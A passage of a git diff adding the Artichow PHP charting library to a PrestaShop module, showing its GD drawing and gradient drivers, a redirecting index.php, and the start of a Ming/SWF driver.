public function add($left = NULL, $right = NULL, $top = NULL, $bottom = NULL) { + + if($left !== NULL) { + $this->left += (float)$left; + } + if($right !== NULL) { + $this->right += (float)$right; + } + if($top !== NULL) { + $this->top += (float)$top; + } + if($bottom !== NULL) { + $this->bottom += (float)$bottom; + } + + } + +} + +registerClass('Side'); diff --git a/modules/graphartichow/artichow/inc/drivers/gd.class.php b/modules/graphartichow/artichow/inc/drivers/gd.class.php new file mode 100755 index 0000000..dcf2f33 --- /dev/null +++ b/modules/graphartichow/artichow/inc/drivers/gd.class.php @@ -0,0 +1,1335 @@ +driverString = 'gd'; + } + + public function init(awImage $image) { + + if($this->resource === NULL) { + + $this->setImageSize($image->width, $image->height); + + // Create image + $this->resource = imagecreatetruecolor($this->imageWidth, $this->imageHeight); + if(!$this->resource) { + awImage::drawError("Class Image: Unable to create a graph."); + } + + imagealphablending($this->resource, TRUE); + + // Antialiasing is now handled by the Driver object + $this->setAntiAliasing($image->getAntiAliasing()); + + // Original color + $this->filledRectangle( + new awWhite, + new awLine( + new awPoint(0, 0), + new awPoint($this->imageWidth, $this->imageHeight) + ) + ); + + $shadow = $image->shadow; + if($shadow !== NULL) { + $shadow = $shadow->getSpace(); + $p1 = new awPoint($shadow->left, $shadow->top); + $p2 = new awPoint($this->imageWidth - $shadow->right - 1, $this->imageHeight - $shadow->bottom - 1); + + + // Draw image background + $this->filledRectangle($image->getBackground(), new awLine($p1, $p2)); + + // Draw image border + $image->border->rectangle($this, $p1, $p2); + } + + } + } + + public function initFromFile(awFileImage $fileImage, $file) { + + $image = @getimagesize((string)$file); + + if($image and in_array($image[2], array(2, 3))) { + + $fileImage->setSize($image[0], $image[1]); + + switch($image[2]) { + + case 2 : + $this->resource = imagecreatefromjpeg($file); + break; + + case 3 : + $this->resource = imagecreatefrompng($file); + break; + + } + + $this->setImageSize($fileImage->width, $fileImage->height); + } else { + awImage::drawError("Class FileImage: Artichow does not support the format of this image (must be in PNG or JPEG)"); + } + } + + public function setImageSize($width, $height) { + + $this->imageWidth = $width; + $this->imageHeight = $height; + + } + + public function setPosition($x, $y) { + + // Calculate absolute position + $this->x = round($x * $this->imageWidth - $this->w / 2); + $this->y = round($y * $this->imageHeight - $this->h / 2); + + } + + public function setAbsPosition($x, $y) { + + $this->x = $x; + $this->y = $y; + + } + + public function movePosition($x, $y) { + + $this->x += (int)$x; + $this->y += (int)$y; + + } + + public function setSize($w, $h) { + + // Calcul absolute size + $this->w = round($w * $this->imageWidth); + $this->h = round($h * $this->imageHeight); + + return $this->getSize(); + + } + + public function setAbsSize($w, $h) { + + $this->w = $w; + $this->h = $h; + + return $this->getSize(); + + } + + public function getSize() { + + return array($this->w, $this->h); + + } + + public function setAntiAliasing($bool) { + + if(function_exists('imageantialias')) { + imageantialias($this->resource, (bool)$bool); + + $this->antiAliasing = (bool)$bool; + } elseif ($bool == true) { + awImage::drawErrorFile('missing-anti-aliasing'); + } + } + + public function getColor(awColor $color) { + + if($color->alpha === 0 or function_exists('imagecolorallocatealpha') === FALSE) { + $gdColor = imagecolorallocate($this->resource, $color->red, $color->green, $color->blue); + } else { + $gdColor = imagecolorallocatealpha($this->resource, $color->red, $color->green, $color->blue, $color->alpha); + } + + return $gdColor; + } + + public function copyImage(awImage $image, awPoint $p1, awPoint $p2) { + + list($x1, $y1) = $p1->getLocation(); + list($x2, $y2) = $p2->getLocation(); + + $driver = $image->getDriver(); + imagecopy($this->resource, $driver->resource, $this->x + $x1, $this->y + $y1, 0, 0, $x2 - $x1, $y2 - $y1); + + } + + public function copyResizeImage(awImage $image, awPoint $d1, awPoint $d2, awPoint $s1, awPoint $s2, $resample = TRUE) { + + if($resample) { + $function = 'imagecopyresampled'; + } else { + $function = 'imagecopyresized'; + } + + $driver = $image->getDriver(); + + $function( + $this->resource, + $driver->resource, + $this->x + $d1->x, $this->y + $d1->y, + $s1->x, $s1->y, + $d2->x - $d1->x, $d2->y - $d1->y, + $s2->x - $s1->x, $s2->y - $s1->y + ); + + } + + public function string(awText $text, awPoint $point, $width = NULL) { + + $font = $text->getFont(); + + // Can we deal with that font? + if($this->isCompatibleWithFont($font) === FALSE) { + awImage::drawError('Class GDDriver: Incompatible font type (\''.get_class($font).'\')'); + } + + // Check which FontDriver to use + if($font instanceof awPHPFont) { + $fontDriver = $this->phpFontDriver; + } else { + $fontDriver = $this->fileFontDriver; + } + + if($text->getBackground() !== NULL or $text->border->visible()) { + + list($left, $right, $top, $bottom) = $text->getPadding(); + + $textWidth = $fontDriver->getTextWidth($text, $this); + $textHeight = $fontDriver->getTextHeight($text, $this); + + $x1 = floor($point->x - $left); + $y1 = floor($point->y - $top); + $x2 = $x1 + $textWidth + $left + $right; + $y2 = $y1 + $textHeight + $top + $bottom; + + $this->filledRectangle( + $text->getBackground(), + awLine::build($x1, $y1, $x2, $y2) + ); + + $text->border->rectangle( + $this, + new awPoint($x1 - 1, $y1 - 1), + new awPoint($x2 + 1, $y2 + 1) + ); + + } + + $fontDriver->string($this, $text, $point, $width); + + } + + public function point(awColor $color, awPoint $p) { + + if($p->isHidden() === FALSE) { + $rgb = $this->getColor($color); + imagesetpixel($this->resource, $this->x + round($p->x), $this->y + round($p->y), $rgb); + } + + } + + public function line(awColor $color, awLine $line) { + + if($line->thickness > 0 and $line->isHidden() === FALSE) { + + $rgb = $this->getColor($color); + $thickness = $line->thickness; + + list($p1, $p2) = $line->getLocation(); + + $this->startThickness($thickness); + + switch($line->getStyle()) { + + case awLine::SOLID : + imageline($this->resource, $this->x + round($p1->x), $this->y + round($p1->y), $this->x + round($p2->x), $this->y + round($p2->y), $rgb); + break; + + case awLine::DOTTED : + $size = sqrt(pow($p2->y - $p1->y, 2) + pow($p2->x - $p1->x, 2)); + $cos = ($p2->x - $p1->x) / $size; + $sin = ($p2->y - $p1->y) / $size; + for($i = 0; $i <= $size; $i += 2) { + $p = new awPoint( + round($i * $cos + $p1->x), + round($i * $sin + $p1->y) + ); + $this->point($color, $p); + } + break; + + case awLine::DASHED : + $width = $p2->x - $p1->x; + $height = $p2->y - $p1->y; + $size = sqrt(pow($height, 2) + pow($width, 2)); + + if($size == 0) { + return; + } + + $cos = $width / $size; + $sin = $height / $size; + + $functionX = ($width > 0) ? 'min' : 'max'; + $functionY = ($height > 0) ? 'min' : 'max'; + + for($i = 0; $i <= $size; $i += 6) { + + $t1 = new awPoint( + round($i * $cos + $p1->x), + round($i * $sin + $p1->y) + ); + + $t2 = new awPoint( + round($functionX(($i + 3) * $cos, $width) + $p1->x), + round($functionY(($i + 3) * $sin, $height) + $p1->y) + ); + + $this->line($color, new awLine($t1, $t2)); + + } + break; + + } + + $this->stopThickness($thickness); + + } + + } + + public function arc(awColor $color, awPoint $center, $width, $height, $from, $to) { + + imagefilledarc( + $this->resource, + $this->x + $center->x, $this->y + $center->y, + $width, $height, + $from, $to, + $this->getColor($color), + IMG_ARC_EDGED | IMG_ARC_NOFILL + ); + + } + + public function filledArc(awColor $color, awPoint $center, $width, $height, $from, $to) { + + imagefilledarc( + $this->resource, + $this->x + $center->x, $this->y + $center->y, + $width, $height, + $from, $to, + $this->getColor($color), + IMG_ARC_PIE + ); + + } + + public function ellipse(awColor $color, awPoint $center, $width, $height) { + + list($x, $y) = $center->getLocation(); + + $rgb = $this->getColor($color); + imageellipse( + $this->resource, + $this->x + $x, + $this->y + $y, + $width, + $height, + $rgb + ); + + } + + public function filledEllipse($background, awPoint $center, $width, $height) { + + if($background instanceof awColor) { + + list($x, $y) = $center->getLocation(); + + $rgb = $this->getColor($background); + + imagefilledellipse( + $this->resource, + $this->x + $x, + $this->y + $y, + $width, + $height, + $rgb + ); + + } else if($background instanceof awGradient) { + + list($x, $y) = $center->getLocation(); + + $x1 = $x - round($width / 2); + $y1 = $y - round($height / 2); + $x2 = $x1 + $width; + $y2 = $y1 + $height; + + $gradientDriver = new awGDGradientDriver($this); + $gradientDriver->filledEllipse( + $background, + $x1, $y1, + $x2, $y2 + ); + + } + + } + + public function rectangle(awColor $color, awLine $line) { + + list($p1, $p2) = $line->getLocation(); + + switch($line->getStyle()) { + + case awLine::SOLID : + $thickness = $line->getThickness(); + $this->startThickness($thickness); + $rgb = $this->getColor($color); + imagerectangle($this->resource, $this->x + $p1->x, $this->y + $p1->y, $this->x + $p2->x, $this->y + $p2->y, $rgb); + $this->stopThickness($thickness); + break; + + default : + + $side = clone $line; + + + + // Top side + $side->setLocation( + new awPoint($p1->x, $p1->y), + new awPoint($p2->x, $p1->y) + ); + $this->line($color, $side); + + // Right side + $side->setLocation( + new awPoint($p2->x, $p1->y), + new awPoint($p2->x, $p2->y) + ); + $this->line($color, $side); + + // Bottom side + $side->setLocation( + new awPoint($p1->x, $p2->y), + new awPoint($p2->x, $p2->y) + ); + $this->line($color, $side); + + // Left side + $side->setLocation( + new awPoint($p1->x, $p1->y), + new awPoint($p1->x, $p2->y) + ); + $this->line($color, $side); + + break; + + } + + } + + public function filledRectangle($background, awLine $line) { + + $p1 = $line->p1; + $p2 = $line->p2; + + if($background instanceof awColor) { + $rgb = $this->getColor($background); + imagefilledrectangle($this->resource, $this->x + $p1->x, $this->y + $p1->y, $this->x + $p2->x, $this->y + $p2->y, $rgb); + } else if($background instanceof awGradient) { + $gradientDriver = new awGDGradientDriver($this); + $gradientDriver->filledRectangle($background, $p1, $p2); + } + + } + + public function polygon(awColor $color, awPolygon $polygon) { + + switch($polygon->getStyle()) { + + case awPolygon::SOLID : + $thickness = $polygon->getThickness(); + $this->startThickness($thickness); + $points = $this->getPolygonPoints($polygon); + $rgb = $this->getColor($color); + imagepolygon($this->resource, $points, $polygon->count(), $rgb); + $this->stopThickness($thickness); + break; + + default : + + if($polygon->count() > 1) { + + $prev = $polygon->get(0); + + $line = new awLine; + $line->setStyle($polygon->getStyle()); + $line->setThickness($polygon->getThickness()); + + for($i = 1; $i < $polygon->count(); $i++) { + $current = $polygon->get($i); + $line->setLocation($prev, $current); + $this->line($color, $line); + $prev = $current; + } + + // Close the polygon + $line->setLocation($prev, $polygon->get(0)); + $this->line($color, $line); + + } + + } + + } + + public function filledPolygon($background, awPolygon $polygon) { + + if($background instanceof awColor) { + + $points = $this->getPolygonPoints($polygon); + $rgb = $this->getColor($background); + + imagefilledpolygon($this->resource, $points, $polygon->count(), $rgb); + + } else if($background instanceof awGradient) { + + $gradientDriver = new awGDGradientDriver($this); + $gradientDriver->filledPolygon($background, $polygon); + + } + + } + + public function send(awImage $image) { + + $this->drawImage($image); + + } + + public function get(awImage $image) { + + return $this->drawImage($image, TRUE, FALSE); + + } + + public function getTextWidth(awText $text) { + $font = $text->getFont(); + + if($font instanceof awPHPFont) { + $fontDriver = $this->phpFontDriver; + } else { + $fontDriver = $this->fileFontDriver; + } + + return $fontDriver->getTextWidth($text, $this); + } + + public function getTextHeight(awText $text) { + $font = $text->getFont(); + + if($font instanceof awPHPFont) { + $fontDriver = $this->phpFontDriver; + } else { + $fontDriver = $this->fileFontDriver; + } + + return $fontDriver->getTextHeight($text, $this); + } + + protected function isCompatibleWithFont(awFont $font) { + if($font instanceof awFDBFont) { + return FALSE; + } else { + return TRUE; + } + } + + private function drawImage(awImage $image, $return = FALSE, $header = TRUE) { + + $format = $image->getFormatString(); + + // Test if format is available + if((imagetypes() & $image->getFormat()) === FALSE) { + awImage::drawError("Class Image: Format '".$format."' is not available on your system. Check that your PHP has been compiled with the good libraries."); + } + + // Get some infos about this image + switch($format) { + case 'jpeg' : + $function = 'imagejpeg'; + break; + case 'png' : + $function = 'imagepng'; + break; + case 'gif' : + $function = 'imagegif'; + break; + } + + // Send headers to the browser + if($header === TRUE) { + $image->sendHeaders(); + } + + if($return) { + ob_start(); + } + + $function($this->resource); + + if($return) { + return ob_get_clean(); + } + } + + private function getPolygonPoints(awPolygon $polygon) { + + $points = array(); + + foreach($polygon->all() as $point) { + $points[] = $point->x + $this->x; + $points[] = $point->y + $this->y; + } + + return $points; + + } + + private function startThickness($thickness) { + + if($thickness > 1) { + + // Beurk :'( + if($this->antiAliasing and function_exists('imageantialias')) { + imageantialias($this->resource, FALSE); + } + imagesetthickness($this->resource, $thickness); + + } + + } + + private function stopThickness($thickness) { + + if($thickness > 1) { + + if($this->antiAliasing and function_exists('imageantialias')) { + imageantialias($this->resource, TRUE); + } + imagesetthickness($this->resource, 1); + + } + + } + + +} + +registerClass('GDDriver'); + +/** + * To your gradients + * + * @package Artichow + */ + +class awGDGradientDriver { + + /** + * A driver + * + * @var awGDDriver + */ + protected $driver; + + /** + * Build your GDGradientDriver + * + * @var awGDDriver $driver + */ + public function __construct(awGDDriver $driver) { + + $this->driver = $driver; + + } + + public function drawFilledFlatTriangle(awGradient $gradient, awPoint $a, awPoint $b, awPoint $c) { + + if($gradient->angle !== 0) { + awImage::drawError("Class GDGradientDriver: Flat triangles can only be used with 0 degree gradients."); + } + + // Look for right-angled triangle + if($a->x !== $b->x and $b->x !== $c->x) { + awImage::drawError("Class GDGradientDriver: Not right-angled flat triangles are not supported yet."); + } + + if($a->x === $b->x) { + $d = $a; + $e = $c; + } else { + $d = $c; + $e = $a; + } + + $this->init($gradient, $b->y - $d->y); + + for($i = $c->y + 1; $i < $b->y; $i++) { + + $color = $this->color($i - $d->y); + $pos = ($i - $d->y) / ($b->y - $d->y); + + $p1 = new awPoint($e->x, $i); + $p2 = new awPoint(1 + floor($e->x - $pos * ($e->x - $d->x)), $i); + + $this->driver->filledRectangle($color, new awLine($p1, $p2)); + + unset($color); + + } + + } + + protected function drawFilledTriangle(awGradient $gradient, awPolygon $polygon) { + + if($gradient->angle === 0) { + $this->drawFilledTriangleVertically($gradient, $polygon); + } elseif($gradient->angle === 90) { + $this->drawFilledTriangleHorizontally($gradient, $polygon); + } + + } + + private function drawFilledTriangleVertically(awGradient $gradient, awPolygon $polygon) { + list($yMin, $yMax) = $polygon->getBoxYRange(); + + $this->init($gradient, $yMax - $yMin); + + // Get the triangle line we will draw our lines from + $fromLine = NULL; + $lines = $polygon->getLines(); + + $count = count($lines); + + // Pick the side of the triangle going from the top + // to the bottom of the surrounding box + for($i = 0; $i < $count; $i++) { + if($lines[$i]->isTopToBottom($polygon)) { + list($fromLine) = array_splice($lines, $i, 1); + break; + } + } + + // If for some reason the three points are aligned, + // $fromLine will still be NULL + if($fromLine === NULL) { + return; + } + + $fillLine = NULL; + for($y = round($yMin); $y < round($yMax); $y++) { + + $fromX = $fromLine->getXFrom($y); + + $toX = array(); + foreach($lines as $line) { + $xValue = $line->getXFrom($y); + + if(!is_null($xValue)) { + $toX[] = $xValue; + } + } + + if(count($toX) === 1) { + $fillLine = new Line( + new Point($fromX, $y), + new Point($toX[0], $y) + ); + } else { + + $line1 = new Line( + new Point($fromX, $y), + new Point($toX[0], $y) + ); + $line2 = new Line( + new Point($fromX, $y), + new Point($toX[1], $y) + ); + + if($line1->getSize() < $line2->getSize()) { + $fillLine = $line1; + } else { + $fillLine = $line2; + } + } + + if(!$fillLine->isPoint()) { + $color = $this->color($y - $yMin); + $this->driver->line($color, $fillLine); + + unset($color); + } + } + + } + + private function drawFilledTriangleHorizontally(awGradient $gradient, awPolygon $polygon) { + list($xMin, $xMax) = $polygon->getBoxXRange(); + + $this->init($gradient, $xMax - $xMin); + + // Get the triangle line we will draw our lines from + $fromLine = NULL; + $lines = $polygon->getLines(); + + $count = count($lines); + + // Pick the side of the triangle going all the way + // from the left side to the right side of the surrounding box + for($i = 0; $i < $count; $i++) { + if($lines[$i]->isLeftToRight($polygon)) { + list($fromLine) = array_splice($lines, $i, 1); + break; + } + } + + // If for some reason the three points are aligned, + // $fromLine will still be NULL + if($fromLine === NULL) { + return; + } + + $fillLine = NULL; + for($x = round($xMin); $x < round($xMax); $x++) { + + $fromY = floor($fromLine->getYFrom($x)); + + $toY = array(); + foreach($lines as $line) { + $yValue = $line->getYFrom($x); + + if(!is_null($yValue)) { + $toY[] = floor($yValue); + } + } + + if(count($toY) === 1) { + $fillLine = new Line( + new Point($x, $fromY), + new Point($x, $toY[0]) + ); + } else { + + $line1 = new Line( + new Point($x, $fromY), + new Point($x, $toY[0]) + ); + $line2 = new Line( + new Point($x, $fromY), + new Point($x, $toY[1]) + ); + + if($line1->getSize() < $line2->getSize()) { + $fillLine = $line1; + } else { + $fillLine = $line2; + } + } + + $color = $this->color($x - $xMin); + if($fillLine->isPoint()) { + $this->driver->point($color, $fillLine->p1); + } elseif($fillLine->getSize() >= 1) { + $this->driver->line($color, $fillLine); + } + unset($color); + } + + } + + public function filledRectangle(awGradient $gradient, awPoint $p1, awPoint $p2) { + + list($x1, $y1) = $p1->getLocation(); + list($x2, $y2) = $p2->getLocation(); + + if($y1 < $y2) { + $y1 ^= $y2 ^= $y1 ^= $y2; + } + + if($x2 < $x1) { + $x1 ^= $x2 ^= $x1 ^= $x2; + } + + if($gradient instanceof awLinearGradient) { + $this->rectangleLinearGradient($gradient, new awPoint($x1, $y1), new awPoint($x2, $y2)); + } else { + awImage::drawError("Class GDGradientDriver: This gradient is not supported by rectangles."); + } + + } + + public function filledPolygon(awGradient $gradient, awPolygon $polygon) { + + if($gradient instanceof awLinearGradient) { + $this->polygonLinearGradient($gradient, $polygon); + } else { + awImage::drawError("Class GDGradientDriver: This gradient is not supported by polygons."); + } + + } + + protected function rectangleLinearGradient(awLinearGradient $gradient, awPoint $p1, awPoint $p2) { + + list($x1, $y1) = $p1->getLocation(); + list($x2, $y2) = $p2->getLocation(); + + if($y1 - $y2 > 0) { + + if($gradient->angle === 0) { + + $this->init($gradient, $y1 - $y2); + + for($i = $y2; $i <= $y1; $i++) { + + $color = $this->color($i - $y2); + + $p1 = new awPoint($x1, $i); + $p2 = new awPoint($x2, $i); + + $this->driver->filledRectangle($color, new awLine($p1, $p2)); + + unset($color); + + } + + } else if($gradient->angle === 90) { + + $this->init($gradient, $x2 - $x1); + + for($i = $x1; $i <= $x2; $i++) { + + $color = $this->color($i - $x1); + + $p1 = new awPoint($i, $y2); + $p2 = new awPoint($i, $y1); + + $this->driver->filledRectangle($color, new awLine($p1, $p2)); + + unset($color); + + } + + } + + } + + } + + public function filledEllipse(awGradient $gradient, $x1, $y1, $x2, $y2) { + + if($y1 < $y2) { + $y1 ^= $y2 ^= $y1 ^= $y2; + } + + if($x2 < $x1) { + $x1 ^= $x2 ^= $x1 ^= $x2; + } + + if($gradient instanceof awRadialGradient) { + $this->ellipseRadialGradient($gradient, $x1, $y1, $x2, $y2); + } else if($gradient instanceof awLinearGradient) { + $this->ellipseLinearGradient($gradient, $x1, $y1, $x2, $y2); + } else { + awImage::drawError("Class GDGradientDriver: This gradient is not supported by ellipses."); + } + + } + + protected function ellipseRadialGradient(awGradient $gradient, $x1, $y1, $x2, $y2) { + + if($y1 - $y2 > 0) { + + if($y1 - $y2 != $x2 - $x1) { + awImage::drawError("Class GDGradientDriver: Radial gradients are only implemented on circle, not ellipses."); + } + + $c = new awPoint($x1 + ($x2 - $x1) / 2, $y1 + ($y2 - $y1) / 2); + $r = ($x2 - $x1) / 2; + $ok = array(); + + // Init gradient + $this->init($gradient, $r); + + for($i = 0; $i <= $r; $i += 0.45) { + + $p = ceil((2 * M_PI * $i)); + + if($p > 0) { + $interval = 360 / $p; + } else { + $interval = 360; + } + + $color = $this->color($i); + + for($j = 0; $j < 360; $j += $interval) { + + $rad = ($j / 360) * (2 * M_PI); + + $x = round($i * cos($rad)); + $y = round($i * sin($rad)); + + $l = sqrt($x * $x + $y * $y); + + if($l <= $r) { + + if( + array_key_exists((int)$x, $ok) === FALSE or + array_key_exists((int)$y, $ok[$x]) === FALSE + ) { + + // Print the point + $this->driver->point($color, new awPoint($c->x + $x, $c->y + $y)); + + $ok[(int)$x][(int)$y] = TRUE; + + } + + } + + } + + unset($color); + + } + + } + + } + + protected function ellipseLinearGradient(awGradient $gradient, $x1, $y1, $x2, $y2) { + + // Gauche->droite : 90° + + if($y1 - $y2 > 0) { + + if($y1 - $y2 != $x2 - $x1) { + awImage::drawError("Class GDGradientDriver: Linear gradients are only implemented on circle, not ellipses."); + } + + $r = ($x2 - $x1) / 2; + + // Init gradient + $this->init($gradient, $x2 - $x1); + + for($i = -$r; $i <= $r; $i++) { + + $h = sin(acos($i / $r)) * $r; + + $color = $this->color($i + $r); + + if($gradient->angle === 90) { + + // Print the line + $p1 = new awPoint( + $x1 + $i + $r, + round(max($y2 + $r - $h + 1, $y2)) + ); + + $p2 = new awPoint( + $x1 + $i + $r, + round(min($y1 - $r + $h - 1, $y1)) + ); + + } else { + + // Print the line + $p1 = new awPoint( + round(max($x1 + $r - $h + 1, $x1)), + $y2 + $i + $r + ); + + $p2 = new awPoint( + round(min($x2 - $r + $h - 1, $x2)), + $y2 + $i + $r + ); + + } + + $this->driver->filledRectangle($color, new awLine($p1, $p2)); + + unset($color); + + } + + } + + } + + protected function polygonLinearGradient(awLinearGradient $gradient, awPolygon $polygon) { + + $count = $polygon->count(); + + if($count >= 4) { + + $left = $polygon->get(0); + $right = $polygon->get($count - 1); + + if($gradient->angle === 0) { + + // Get polygon maximum and minimum + $offset = $polygon->get(0); + $max = $min = $offset->y; + for($i = 1; $i < $count - 1; $i++) { + $offset = $polygon->get($i); + $max = max($max, $offset->y); + $min = min($min, $offset->y); + } + + $this->init($gradient, $max - $min); + + $prev = $polygon->get(1); + + $sum = 0; + + for($i = 2; $i < $count - 1; $i++) { + + $current = $polygon->get($i); + + $interval = 1; + + if($i !== $count - 2) { + $current->x -= $interval; + } + + if($current->x - $prev->x > 0) { + + // Draw rectangle + $x1 = $prev->x; + $x2 = $current->x; + $y1 = max($prev->y, $current->y); + $y2 = $left->y; + + $gradient = new awLinearGradient( + $this->color($max - $min - ($y2 - $y1)), + $this->color($max - $min), + 0 + ); + + if($y1 > $y2) { + $y2 = $y1; + } + + $this->driver->filledRectangle( + $gradient, + awLine::build($x1, $y1, $x2, $y2) + ); + + $top = ($prev->y < $current->y) ? $current : $prev; + $bottom = ($prev->y >= $current->y) ? $current : $prev; + + $gradient = new awLinearGradient( + $this->color($bottom->y - $min), + $this->color($max - $min - ($y2 - $y1)), + 0 + ); + + + $gradientDriver = new awGDGradientDriver($this->driver); + $gradientDriver->drawFilledFlatTriangle( + $gradient, + new awPoint($prev->x, min($prev->y, $current->y)), + $top, + new awPoint($current->x, min($prev->y, $current->y)) + ); + unset($gradientDriver); + + $sum += $current->x - $prev->x; + + } + + $prev = $current; + $prev->x += $interval; + + } + + } else if($gradient->angle === 90) { + + $width = $right->x - $left->x; + $this->init($gradient, $width); + + $pos = 1; + $next = $polygon->get($pos++); + + $this->next($polygon, $pos, $prev, $next); + + for($i = 0; $i <= $width; $i++) { + + $x = $left->x + $i; + + $y1 = round($prev->y + ($next->y - $prev->y) * (($i + $left->x - $prev->x) / ($next->x - $prev->x))); + $y2 = $left->y; + + // Draw line + $color = $this->color($i); + // YaPB : PHP does not handle alpha on lines + $this->driver->filledRectangle($color, awLine::build($x, $y1, $x, $y2)); + + unset($color); + + // Jump to next point + if($next->x == $i + $left->x) { + + $this->next($polygon, $pos, $prev, $next); + + } + + } + + } + + } else if($count === 3) { + $this->drawFilledTriangle( + $gradient, + $polygon + ); + } + + } + + private function next($polygon, &$pos, &$prev, &$next) { + + do { + $prev = $next; + $next = $polygon->get($pos++); + } + while($next->x - $prev->x == 0 and $pos < $polygon->count()); + + } + + /** + * Start colors + * + * @var int + */ + private $r1, $g1, $b1, $a1; + + /** + * Stop colors + * + * @var int + */ + private $r2, $g2, $b2, $a2; + + /** + * Gradient size in pixels + * + * @var int + */ + private $size; + + + private function init(awGradient $gradient, $size) { + + list( + $this->r1, $this->g1, $this->b1, $this->a1 + ) = $gradient->from->rgba(); + + list( + $this->r2, $this->g2, $this->b2, $this->a2 + ) = $gradient->to->rgba(); + + $this->size = $size; + } + + private function color($pos) { + + return new awColor( + $this->getRed($pos), + $this->getGreen($pos), + $this->getBlue($pos), + $this->getAlpha($pos) + ); + + } + + + private function getRed($pos) { + if((float)$this->size !== 0.0) { + return (int)round($this->r1 + ($pos / $this->size) * ($this->r2 - $this->r1)); + } else { + return 0; + } + } + + private function getGreen($pos) { + if((float)$this->size !== 0.0) { + return (int)round($this->g1 + ($pos / $this->size) * ($this->g2 - $this->g1)); + } else { + return 0; + } + } + + private function getBlue($pos) { + if((float)$this->size !== 0.0) { + return (int)round($this->b1 + ($pos / $this->size) * ($this->b2 - $this->b1)); + } else { + return 0; + } + } + + private function getAlpha($pos) { + if((float)$this->size !== 0.0) { + return (int)round(($this->a1 + ($pos / $this->size) * ($this->a2 - $this->a1)) / 127 * 100); + } else { + return 0; + } + } + +} + +registerClass('GDGradientDriver'); + +/* + * Check for GD2 + */ +if(function_exists('imagecreatetruecolor') === FALSE) { + awImage::drawErrorFile('missing-gd2'); +} + diff --git a/modules/graphartichow/artichow/inc/drivers/index.php b/modules/graphartichow/artichow/inc/drivers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/inc/drivers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/inc/drivers/ming.class.php b/modules/graphartichow/artichow/inc/drivers/ming.class.php new file mode 100755 index 0000000..aee0ae7 --- /dev/null +++ b/modules/graphartichow/artichow/inc/drivers/ming.class.php @@ -0,0 +1,773 @@ +driverString = 'ming'; + + // Nice defaults + ming_setScale(20.0); + ming_useswfversion(6); + + } + + /** + * Initialize the driver for a particular awImage object + * + * @param awImage $image + */ + public function init(awImage $image) { + + if($this->movie === NULL) { + $this->setImageSize($image->width, $image->height); + + // Create movie + $this->movie = new SWFMovie(); + if(!$this->movie) { + awImage::drawError("Class Image: Unable to create a graph."); + } + + $this->movie->setDimension($image->width, $image->height); + + $this->setAntiAliasing($image->getAntiAliasing()); + + // Original color + $this->filledRectangle( + new awWhite, + new awLine( + new awPoint(0, 0), + new awPoint($this->imageWidth, $this->imageHeight) + ) + ); + + $shadow = $image->shadow; + if($shadow !== NULL) { + $shadow = $shadow->getSpace(); + $p1 = new awPoint($shadow->left, $shadow->top); + $p2 = new awPoint($this->imageWidth - $shadow->right - 1, $this->imageHeight - $shadow->bottom - 1); + + // Draw image background + $this->filledRectangle($image->getBackground(), new awLine($p1, $p2)); + + // Draw image border + $image->border->rectangle($this, $p1, $p2); + } + } + } + + /** + * Initialize the Driver for a particular FileImage object + * + * @param awFileImage $fileImage The FileImage object to work on + * @param string $file Image filename + */ + public function initFromFile(awFileImage $fileImage, $file) { + + } + + /** + * Change the image size + * + * @param int $width Image width + * @param int $height Image height + */ + public function setImageSize($width, $height) { + $this->imageWidth = $width; + $this->imageHeight = $height; + } + + /** + * Inform the driver of the position of your image + * + * @param float $x Position on X axis of the center of the component + * @param float $y Position on Y axis of the center of the component + */ + public function setPosition($x, $y) { + // Calculate absolute position + $this->x = round($x * $this->imageWidth - $this->w / 2); + $this->y = round($y * $this->imageHeight - $this->h / 2); + } + + /** + * Inform the driver of the position of your image + * This method need absolutes values + * + * @param int $x Left-top corner X position + * @param int $y Left-top corner Y position + */ + public function setAbsPosition($x, $y) { + $this->x = $x; + $this->y = $y; + } + + /** + * Move the position of the image + * + * @param int $x Add this value to X axis + * @param int $y Add this value to Y axis + */ + public function movePosition($x, $y) { + $this->x += (int)$x; + $this->y += (int)$y; + } + + /** + * Inform the driver of the size of your image + * Height and width must be between 0 and 1. + * + * @param int $w Image width + * @param int $h Image height + * @return array Absolute width and height of the image + */ + public function setSize($w, $h) { + + // Calcul absolute size + $this->w = round($w * $this->imageWidth); + $this->h = round($h * $this->imageHeight); + + return $this->getSize(); + + } + + /** + * Inform the driver of the size of your image + * You can set absolute size with this method. + * + * @param int $w Image width + * @param int $h Image height + */ + public function setAbsSize($w, $h) { + $this->w = $w; + $this->h = $h; + + return $this->getSize(); + } + + /** + * Get the size of the component handled by the driver + * + * @return array Absolute width and height of the component + */ + public function getSize() { + return array($this->w, $this->h); + } + + /** + * Turn antialiasing on or off + * + * @var bool $bool + */ + public function setAntiAliasing($bool) { + if($this->movie !== NULL) { + + $actionscript = ' + _quality = "%s"; + '; + + if((bool)$bool) { + $actionscript = sprintf($actionscript, 'high'); + } else { + $actionscript = sprintf($actionscript, 'low'); + } + + $this->movie->add(new SWFAction(str_replace("\r", "", $actionscript))); + } + } + + /** + * When passed a Color object, returns the corresponding + * color identifier (driver dependant). + * + * @param awColor $color A Color object + * @return array $rgba A color identifier representing the color composed of the given RGB components + */ + public function getColor(awColor $color) { + + // Ming simply works with R, G, B and Alpha values. + list($red, $green, $blue, $alpha) = $color->rgba(); + + // However, the Ming alpha channel ranges from 255 (opaque) to 0 (transparent), + // while the awColor alpha channel ranges from 0 (opaque) to 100 (transparent). + // First, we convert from 0-100 to 0-255. + $alpha = (int)($alpha * 255 / 100); + + // Then from 0-255 to 255-0. + $alpha = abs($alpha - 255); + + return array($red, $green, $blue, $alpha); + } + + /** + * Draw an image here + * + * @param awImage $image Image + * @param int $p1 Image top-left point + * @param int $p2 Image bottom-right point + */ + public function copyImage(awImage $image, awPoint $p1, awPoint $p2) { + + } + + /** + * Draw an image here + * + * @param awImage $image Image + * @param int $d1 Destination top-left position + * @param int $d2 Destination bottom-right position + * @param int $s1 Source top-left position + * @param int $s2 Source bottom-right position + * @param bool 